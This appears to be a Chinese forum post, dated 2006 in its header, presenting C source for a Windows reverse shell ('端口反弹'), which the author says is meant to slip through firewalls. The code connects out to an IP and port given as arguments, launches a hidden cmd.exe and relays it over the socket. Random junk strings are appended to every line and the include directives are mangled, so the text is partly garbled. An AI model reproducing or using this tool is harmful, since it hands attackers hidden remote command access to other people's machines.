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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &i%1\ o  
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/* ============================== njN]0l{p  
Rebound port in Windows NT mtn+bV R%  
By wind,2006/7 %:WM]dc  
===============================*/ '4}c1F1T_  
#include <UMT:`h1MZ  
#include 37QXML  
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#pragma comment(lib,"wsock32.lib") lTn~VsoRZ  
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void OutputShell(); O9tgS@*Tv  
SOCKET sClient; cXo^.u  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R1=ir# U|D  
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void main(int argc,char **argv) HAr_z@#E  
{ p&#*  
WSADATA stWsaData; Y?>us  
int nRet; k;9"L90  
SOCKADDR_IN stSaiClient,stSaiServer; Vt!<.8&`  
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if(argc != 3) Y4B< ]C4  
{ VF<C#I  
printf("Useage:\n\rRebound DestIP DestPort\n"); >.-$?2  
return;  j{;RuNt  
} 2iM8V  
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WSAStartup(MAKEWORD(2,2),&stWsaData); _2,eS[wP  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F}lgy;=h  
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stSaiClient.sin_family = AF_INET; XI*_ti  
stSaiClient.sin_port = htons(0); +HK)A%QI  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [?$|   
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?"aj&,q+  
{ iZy`5  
printf("Bind Socket Failed!\n"); L8~nx}UP5  
return; O&:0mpRZ  
} VhAZncw  
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stSaiServer.sin_family = AF_INET; {xC CUU  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'ZHu=UT7_  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WLAJqmC]  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ; -RhI_  
{ W].P(A>m  
printf("Connect Error!"); LxGE<xj|V%  
return; x,Cc$C~YP  
} `FImi9%F  
OutputShell(); IKK<D'6  
} K+` Vn  
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void OutputShell() NS l$5E  
{ 5g- apod  
char szBuff[1024]; vl@t4\@3  
SECURITY_ATTRIBUTES stSecurityAttributes; I~R<}volu  
OSVERSIONINFO stOsversionInfo; w jmZ`UMz  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bw7!MAXd  
STARTUPINFO stStartupInfo; LC/w".oq?  
char *szShell; ^/W 7Xd(s  
PROCESS_INFORMATION stProcessInformation; hG,gY;&[6  
unsigned long lBytesRead; 2.2Z'$W  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4M8AYh2)  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vII8>x%*  
stSecurityAttributes.lpSecurityDescriptor = 0; RZfC ?  
stSecurityAttributes.bInheritHandle = TRUE; _^RN C)ol  
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4:}`X  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); QD:0iD?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xLZQ\2q  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g[;iVX^1&  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \2<2&=h?  
stStartupInfo.wShowWindow = SW_HIDE; ISr~JQr  
stStartupInfo.hStdInput = hReadPipe; r1FE$R~C=  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F.=u Jdl.!  
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GetVersionEx(&stOsversionInfo); qD\%8l.]Z  
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switch(stOsversionInfo.dwPlatformId) co3H=#2a  
{ \i-jME(sN  
case 1: =tcPYYD  
szShell = "command.com"; *eXO?6f%s^  
break; ^c]Sl  
default: L\og`L)5\  
szShell = "cmd.exe"; B>?Y("E  
break; &Jj> jCg  
} Z-<v5aF  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g]xZ^M+  
6\,^MI  
send(sClient,szMsg,77,0); ) WIlj  
while(1) FbM5Bqv  
{ i,")U)b  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K23_1-mbe  
if(lBytesRead) p8"(z@T  
{ LbR/it'}  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); RQ,(?I*8\  
send(sClient,szBuff,lBytesRead,0); >`NY[Mn  
} b=T+#Jb  
else VP4t~$"  
{ |->y'V  
lBytesRead=recv(sClient,szBuff,1024,0); p 2~Q  
if(lBytesRead<=0) break; &SN$D5U'  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (P#2Am$  
} o33{tUp'  
} +lha^){  
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return; 8 (^2  
}
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